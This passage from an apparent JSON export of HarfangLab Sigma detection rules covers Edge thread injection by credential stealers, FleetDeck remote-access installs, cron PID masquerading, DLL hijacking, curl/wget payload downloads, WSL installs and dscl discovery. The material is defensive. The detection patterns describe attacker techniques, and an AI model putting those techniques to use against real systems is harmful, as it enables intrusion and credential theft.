+  "content": "title: Suspicious Remote Thread Created in Edge\nid: bc730779-ef0e-4f39-aef6-c0c22bcaee97\ndescription: |\n    Detects suspicious activity related to thread injection into the Microsoft Edge process.\n    Stealers often use this technique to execute malicious code within Edge in order to exfiltrate sensitive data such as credentials, authentication tokens or session cookies.\n    It is recommended to investigate the process injecting the thread to determine the legitimacy of this action.\nreferences:\n    - https://redcanary.com/blog/threat-intelligence/google-chrome-app-bound-encryption/\n    - https://attack.mitre.org/techniques/T1055/\n    - https://attack.mitre.org/techniques/T1539/\ndate: 2025/05/16\nmodified: 2025/11/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - attack.credential_access\n    - attack.t1539\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection:\n        TargetImage|endswith: '\\msedge.exe'\n\n    filter_image:\n        SourceImage:\n            - '?:\\Program Files\\\\*'\n            - '?:\\Program Files (x86)\\\\*'\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\SysWOW64\\TDepend64.exe'\n            - '?:\\Windows\\System32\\rdrleakdiag.exe'\n            - '?:\\ProgramData\\McAfee\\Agent\\Current\\\\*\\mfeepmpk_utility.exe'\n            - '?:\\ProgramData\\McAfeeTmpInstall_Threat Prevention\\mfeepmpk_utility.exe'\n            - '?:\\Windows\\WinSxS\\x86_microsoft-windows-servicingstack_*\\TiWorker.exe'\n            - '?:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe'\n\n    filter_module:\n        StartFunction: 'LoadLibraryW'\n\n    exclusion_uipath:\n        SourceImage|endswith: '\\build\\UiPath\\FuncServer_x64.exe'\n        StartModule|endswith: '\\build\\UiPath\\aahook_x64.dll'\n\n    exclusion_windhawk:\n        SourceImage|endswith: '\\windhawk.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Michael Maltsev'\n\n    exclusion_roblox:\n        SourceImage: '?:\\Users\\\\*\\AppData\\Local\\Roblox\\Versions\\version-????????????????\\RobloxPlayerBeta.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Roblox Corporation'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bc730779-ef0e-4f39-aef6-c0c22bcaee97",
+  "rule_name": "Suspicious Remote Thread Created in Edge",
+  "rule_description": "Detects suspicious activity related to thread injection into the Microsoft Edge process.\nStealers often use this technique to execute malicious code within Edge in order to exfiltrate sensitive data such as credentials, authentication tokens or session cookies.\nIt is recommended to investigate the process injecting the thread to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2025-05-16",
+  "rule_modified_date": "2025-11-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1539"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bc8b1e6c-7991-4c71-9b13-997e762794d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603249Z",
+  "creation_date": "2026-03-23T11:45:34.603252Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603260Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cyber.gc.ca/en/alerts-advisories/alphvblackcat-ransomware-targeting-canadian-industries",
+    "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/",
+    "https://redcanary.com/threat-detection-report/trends/rmm-tools/",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_fleetdeck_agent_installer.yml",
+  "content": "title: FleetDeck Agent Installer Execution\nid: bc8b1e6c-7991-4c71-9b13-997e762794d1\ndescription: |\n    Detects the installation of the FleetDeck Agent, a Remote Desktop & Virtual Terminal solution to securely manage and monitor large fleets of computers.\n    Attackers can maliciously use remote access software to establish an interactive command and control channel to target systems within networks.\n    It is recommended to verify if the installation of this tool is legitimate in this IT environment. If it is the case, it is advised to disable this rule.\nreferences:\n    - https://www.cyber.gc.ca/en/alerts-advisories/alphvblackcat-ransomware-targeting-canadian-industries\n    - https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/\n    - https://redcanary.com/threat-detection-report/trends/rmm-tools/\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2024/08/28\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.FleetDeck\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\fleetdeck-agent-*.exe'\n        - OriginalFileName: 'fleetdeck_installer'\n        - InternalName: 'fleetdeck_installer'\n\n    condition: selection\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bc8b1e6c-7991-4c71-9b13-997e762794d1",
+  "rule_name": "FleetDeck Agent Installer Execution",
+  "rule_description": "Detects the installation of the FleetDeck Agent, a Remote Desktop & Virtual Terminal solution to securely manage and monitor large fleets of computers.\nAttackers can maliciously use remote access software to establish an interactive command and control channel to target systems within networks.\nIt is recommended to verify if the installation of this tool is legitimate in this IT environment. If it is the case, it is advised to disable this rule.\n",
+  "rule_creation_date": "2024-08-28",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bc8e174c-7695-4751-861f-bf32256cc7d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087106Z",
+  "creation_date": "2026-03-23T11:45:34.087108Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087112Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
+    "https://attack.mitre.org/techniques/T1036/004/",
+    "https://attack.mitre.org/techniques/T1559/"
+  ],
+  "name": "t1036_004_var_run_cron_pid_modified.yml",
+  "content": "title: Cron's PID File Modified\nid: bc8e174c-7695-4751-861f-bf32256cc7d4\ndescription: |\n    Detects a suspicious attempt to modify \"/var/run/cron.pid\".\n    This file is the PID file of the cron daemon, used to manage the system's scheduled tasks.\n    A modification of this file by another process than cron can hint at a process masquerading as cron.\n    It is recommended to ensure that the process isn't suspicious and has a legitimate reason to modify this file.\nreferences:\n    - https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf\n    - https://attack.mitre.org/techniques/T1036/004/\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2023/12/15\nmodified: 2025/05/26\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.004\n    - attack.execution\n    - attack.t1559\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Masquerading\n    - classification.Linux.Behavior.SystemModification\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path:\n            - '/var/run/cron.pid'\n            - '/run/cron.pid'\n            - '/var/run/crond.pid'\n            - '/run/crond.pid'\n        - TargetPath:\n            - '/var/run/cron.pid'\n            - '/run/cron.pid'\n            - '/var/run/crond.pid'\n            - '/run/crond.pid'\n\n    filter_read:\n        Kind: 'access'\n        Permissions: 'read'\n\n    filter_cron:\n        ProcessImage:\n            - '/usr/bin/cron'\n            - '/usr/sbin/cron'\n            - '/usr/bin/crond'\n            - '/usr/sbin/crond'\n            - '/bin/busybox'\n\n    filter_daemon_ctl:\n        ProcessParentImage: '/sbin/start-stop-daemon'\n        ProcessGrandparentImage: '/bin/busybox'\n\n    exclusion_common:\n        ProcessImage: '/bin/rm'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/crio-conmon|/usr/bin/crio|'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bc8e174c-7695-4751-861f-bf32256cc7d4",
+  "rule_name": "Cron's PID File Modified",
+  "rule_description": "Detects a suspicious attempt to modify \"/var/run/cron.pid\".\nThis file is the PID file of the cron daemon, used to manage the system's scheduled tasks.\nA modification of this file by another process than cron can hint at a process masquerading as cron.\nIt is recommended to ensure that the process isn't suspicious and has a legitimate reason to modify this file.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2025-05-26",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.004",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bc940c5f-0f34-4d9b-86f6-bdf95c4f6608",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600673Z",
+  "creation_date": "2026-03-23T11:45:34.600676Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600684Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wpcmon.yml",
+  "content": "title: DLL Hijacking via wpcmon.exe\nid: bc940c5f-0f34-4d9b-86f6-bdf95c4f6608\ndescription: |\n    Detects potential Windows DLL Hijacking via wpcmon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wpcmon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\samcli.dll'\n            - '\\USERENV.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bc940c5f-0f34-4d9b-86f6-bdf95c4f6608",
+  "rule_name": "DLL Hijacking via wpcmon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wpcmon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bc9c8144-794e-4120-bc45-6d1cd92fb32f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613003Z",
+  "creation_date": "2026-03-23T11:45:34.613007Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613014Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1105_suspicious_file_downloaded_via_curl_wget.yml",
+  "content": "title: Suspicious File Downloaded via Curl or Wget\nid: bc9c8144-794e-4120-bc45-6d1cd92fb32f\ndescription: |\n    Detects when curl or wget is used to download a file with a suspicious extension.\n    Attackers often need remote tools or configurations that they might download using curl or wget.\n    It is recommended to investigate the downloaded file to determine its legitimacy.\nreferences:\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2024/06/19\nmodified: 2025/09/10\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.t1071.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.FileDownload\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_image:\n        Image|endswith:\n            - '/wget'\n            - '/wget2' # https://discussion.fedoraproject.org/t/f40-change-proposal-wget2-as-wget/96422\n            - '/curl'\n\n    selection_ext:\n        - CommandLine|contains:\n            - '.c '\n            - '.cpp '\n            - '.elf '\n            - '.o '\n            - '.ko '\n            - '.so '\n        - CommandLine|endswith:\n            - '.c'\n            - '.cpp'\n            - '.elf'\n            - '.o'\n            - '.ko'\n            - '.so'\n\n    condition: all of selection_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bc9c8144-794e-4120-bc45-6d1cd92fb32f",
+  "rule_name": "Suspicious File Downloaded via Curl or Wget",
+  "rule_description": "Detects when curl or wget is used to download a file with a suspicious extension.\nAttackers often need remote tools or configurations that they might download using curl or wget.\nIt is recommended to investigate the downloaded file to determine its legitimacy.\n",
+  "rule_creation_date": "2024-06-19",
+  "rule_modified_date": "2025-09-10",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bcc69e05-74b1-4e8a-a053-2735ce47212e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.297312Z",
+  "creation_date": "2026-03-23T11:45:35.297314Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297318Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows/wsl/install",
+    "https://docs.microsoft.com/en-us/windows/wsl/install-manual",
+    "https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux",
+    "https://attack.mitre.org/techniques/T1202/"
+  ],
+  "name": "t1202_wsl_distribution_installation.yml",
+  "content": "title: Linux Distribution Installed Under WSL\nid: bcc69e05-74b1-4e8a-a053-2735ce47212e\ndescription: |\n    Detects the installation of a Linux distribution through WSL (Windows Subsystem For Linux).\n    WSL allows running Linux binary executables natively on Windows systems.\n    While WSL has legitimate uses for development and administration, threat actors may abuse it to evade Windows security controls and execute malicious code.\n    It is recommended to monitor process trees and subsequent WSL activities for signs of malicious behavior.\nreferences:\n    - https://docs.microsoft.com/en-us/windows/wsl/install\n    - https://docs.microsoft.com/en-us/windows/wsl/install-manual\n    - https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux\n    - https://attack.mitre.org/techniques/T1202/\ndate: 2025/01/13\nmodified: 2026/03/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1202\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Lxss\\\\*\\DistributionName'\n\n    # This is handled by rule 6bab01c3-5165-4dfd-a77a-42077f50025a\n    filter_hacking:\n        Details|contains:\n            - 'kali-linux'\n            - 'Athena'\n            - 'ParrotOS'\n\n    condition: selection and not 1 of filter_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bcc69e05-74b1-4e8a-a053-2735ce47212e",
+  "rule_name": "Linux Distribution Installed Under WSL",
+  "rule_description": "Detects the installation of a Linux distribution through WSL (Windows Subsystem For Linux).\nWSL allows running Linux binary executables natively on Windows systems.\nWhile WSL has legitimate uses for development and administration, threat actors may abuse it to evade Windows security controls and execute malicious code.\nIt is recommended to monitor process trees and subsequent WSL activities for signs of malicious behavior.\n",
+  "rule_creation_date": "2025-01-13",
+  "rule_modified_date": "2026-03-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1202"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bcce9532-5137-41f9-afeb-b3c78f1d562e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617819Z",
+  "creation_date": "2026-03-23T11:45:34.617821Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617825Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1069/002/",
+    "https://attack.mitre.org/techniques/T1087/002/"
+  ],
+  "name": "t1069_002_dscl_active_directory_macos.yml",
+  "content": "title: Active Directory Discovered via dscl\nid: bcce9532-5137-41f9-afeb-b3c78f1d562e\ndescription: |\n    Detects the execution of the dscl command to list Active Directory accounts or groups.\n    Adversaries may attempt to get a listing of domain accounts and groups to determine which domain accounts exist and to determine which users have elevated permissions, such as domain administrators.\n    It is recommended to check for malicious behavior by the process launching dscl and to correlate this alert with any other discovery activity to determine legitimacy.\n    If this activity is recurrent in your environment and legitimate, it is highly recommended to whitelist it.\n\nreferences:\n    - https://attack.mitre.org/techniques/T1069/002/\n    - https://attack.mitre.org/techniques/T1087/002/\ndate: 2024/06/13\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.002\n    - attack.t1087.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/dscl'\n        CommandLine|contains: '/Active Directory/'\n\n    exclusion_jamf:\n        ParentCommandLine|contains: '/Library/Application Support/JAMF/tmp/'\n\n    exclusion_haxm:\n        GrandparentImage: '/usr/local/haxm/haxm-launcher'\n\n    exclusion_landesk:\n        GrandparentImage: '/Library/Application Support/LANDesk/bin/ldapm'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "bcce9532-5137-41f9-afeb-b3c78f1d562e",
+  "rule_name": "Active Directory Discovered via dscl",
+  "rule_description": "Detects the execution of the dscl command to list Active Directory accounts or groups.\nAdversaries may attempt to get a listing of domain accounts and groups to determine which domain accounts exist and to determine which users have elevated permissions, such as domain administrators.\nIt is recommended to check for malicious behavior by the process launching dscl and to correlate this alert with any other discovery activity to determine legitimacy.\nIf this activity is recurrent in your environment and legitimate, it is highly recommended to whitelist it.\n",
+  "rule_creation_date": "2024-06-13",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1069.002",
+    "attack.t1087.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bcf0b2cb-5479-4c69-a09a-83fa7f36b5fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073034Z",
+  "creation_date": "2026-03-23T11:45:34.073036Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073041Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/SBousseaden/status/1569399429777526785",
+    "https://attack.mitre.org/techniques/T1562/"
+  ],
+  "name": "t1562_ntdll_loading_from_suspicious_location.yml",
